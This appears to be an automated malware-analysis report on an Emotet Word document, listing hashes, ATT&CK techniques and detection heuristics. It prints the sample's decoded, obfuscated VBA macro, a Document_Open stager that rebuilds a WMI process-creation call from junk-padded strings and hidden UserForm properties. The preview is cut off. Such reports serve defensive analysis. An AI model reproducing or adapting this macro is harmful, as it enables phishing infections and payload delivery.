Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b407d36ede5d023e…

MALICIOUS

Office (OLE)

229.9 KB Created: 2020-08-12 14:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 085a37a4095659aea34be9f432f1ae68 SHA-1: b9497c1873ccc106aa8746c3db73625e618687c9 SHA-256: b407d36ede5d023ee844fc3ad936a4cf5d33b978d9e92fd5e08d219e9385b341
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-exec macro, which is a common technique for Emotet. The critical heuristic 'OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER' indicates the use of a hidden UserForm to execute commands, likely to download and execute a second-stage payload. The ClamAV detection explicitly names Emotet, further supporting the family attribution.

Heuristics 7

  • ClamAV: Doc.Malware.Emotet-9304468-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emotet-9304468-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4178 bytes
SHA-256: ea58e3439489eb99339b4e3eb75182e02d7033ad1078e7a9c35c20a0d1c47034
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KTQUPiohkmrejirmv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
HVCNRdsjlfhnh.CAFOWtsurepmwrdieff
End Sub


Attribute VB_Name = "HVCNRdsjlfhnh"
Attribute VB_Base = "0{324F8FE1-F208-4997-96B8-6FBA9B4A1CB6}{303BEC99-C832-4E83-B0D6-E7AFC83DBF05}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function CAFOWtsurepmwrdieff()
Dim BWSVNsu As Boolean
Dim Ni7 As Integer
For Ni7 = 9 To 1 + 5
DoEvents
Next Ni7
Dim Y0rZv5Í As String
Y0rZv5Í = Replace$("Dr7Êseqt2ÄjGQVO0áS", "Dr7Êseq", "tvaMYrmoEn")
VBGWCtkpgxzkq = HVCNRdsjlfhnh.Zoom
Dim qalqj4 As Long
SSLTZmzoelodtgafx = ChrW(VBGWCtkpgxzkq + ((30 + 60 + 30) / (4 + 4)))
Dim yhtNIK As String
yhtNIK = Replace$("nKdCkXpeHroHmmAV", "nKdCkX", "vm6åKdYMpZW")
TDYSCukjwaotsyyi = "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hi[jhkgab&*$%R s shs qw e21 23 12u3hnm[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hgm[jhkgab&*$%R s shs qw e21 23 12u3ht[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h" + SSLTZmzoelodtgafx + "[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h:[jhkgab&*$%R s shs qw e21 23 12u3hw[jhkgab&*$%R s shs qw e21 23 12u3hin[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3h3[jhkgab&*$%R s shs qw e21 23 12u3h2[jhkgab&*$%R s shs qw e21 23 12u3h_[jhkgab&*$%R s shs qw e21 23 12u3h" + HVCNRdsjlfhnh.CLDFZkinzrjbtfhs + "[jhkgab&*$%R s shs qw e21 23 12u3hro[jhkgab&*$%R s shs qw e21 23 12u3h[jhkgab&*$%R s shs qw e21 23 12u3hce[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3hs[jhkgab&*$%R s shs qw e21 23 12u3h"
Dim k5ÂIKQgoU As Integer
For k5ÂIKQgoU = 6 To 6 + 8
DoEvents
Next k5ÂIKQgoU
TKPJTmplkjyiywljq = XFOZCkpounpkhqepn(TDYSCukjwaotsyyi)
Dim sEIBnP As Integer
For sEIBnP = 2 To 7 + 6
DoEvents
Next sEIBnP
Set EEVMLycrgwexhuwwr = CreateObject(TKPJTmplkjyiywljq)
Dim UVabibq As String
UVabibq = Replace$("ycBj1ÖTOSybqjOVnKd", "ycBj1ÖTOSy", "SFSnvA5Õ")
RGACQsxdqxjsn = HVCNRdsjlfhnh.BJLVFtcdboprzlpwad.ControlTipText
Dim rpeHroH As Integer
For rpeHroH = 4 To 7 + 1
DoEvents
Next rpeHroH
RCAGHowcutogrqbxpmd = wr3 + (TKPJTmplkjyiywljq + SSLTZmzoelodtgafx + HVCNRdsjlfhnh.DTPFUxxdxbrn.ControlTipText + RGACQsxdqxjsn)
Dim wvmmrH As Date
PGADOwvbngrsydxow = RCAGHowcutogrqbxpmd + HVCNRdsjlfhnh.CLDFZkinzrjbtfhs
Dim MpZWoUV As Currency
Set JMMUHypsdnofj = GZVMDoplqqggbq(PGADOwvbngrsydxow)
Dim CsIPfnFcJ As Integer
For CsIPfnFcJ = 5 To 4 + 1
DoEvents
Next CsIPfnFcJ
yu = Array(assq + "jhiay qyyww", EEVMLycrgwexhuwwr. _
Create(EGEGQnsvvjzlh, GXELCtgwykaihdf, JMMUHypsdnofj), masb1 + ":ghass utq wqgd")
Dim q4ÍwkMhcg As Integer
For q4ÍwkMhcg = 4 To 5 + 6
DoEvents
Next q4ÍwkMhcg
End Function
Function GZVMDoplqqggbq(VJUFYbnijergg)
Set GZVMDoplqqggbq = CreateObject(VJUFYbnijergg)
Dim OyVTtsivo As Byte
GZVMDoplqqggbq. _
showwindow = HWFRHufdwaklegmb + QGZDAwofqqbzsnd
Dim Y1áM As Integer
For Y1áM = 1 To 7 + 3
DoEvents
Next Y1áM
End Function
Function XFOZCkpounpkhqepn(RCVVSfpytjipedxm)
CWMGMmedzepffgmouoo = RCVVSfpytjipedxm
Dim L4áNd6Ámj As Byte
PJRRSbtujsoh = Split _
(CWMGMmedzepffgmouoo, "[jhkgab&*$%R s shs qw e21 23 12u3h")
Dim BXimg3Í As Integer
For BXimg3Í = 9 To 1 + 3
DoEvents
Next BXimg3Í
RLIMHjghetlusqdgg = xz + Join(PJRRSbtujsoh, cvw)
Dim eqKEGj1ÅnOB As String
eqKEGj1ÅnOB = Replace$("Ssrh6ÈYuMTnpOyVT", "Ssrh6ÈY", "beJuHaVX")
XFOZCkpounpkhqepn = RLIMHjghetlusqdgg
Dim Iwwp As Double
End Function
Function EGEGQnsvvjzlh()
j = HVCNRdsjlfhnh.YRFSTqmejhbalwdf.Pages(vbOK).Tag
Dim mj0Ù As Long
EGEGQnsvvjzlh = XFOZCkpounpkhqepn(j)
Dim YB2ÏF4ÛsA As Integer
For YB2ÏF4ÛsA = 7 To 4 +
... (truncated)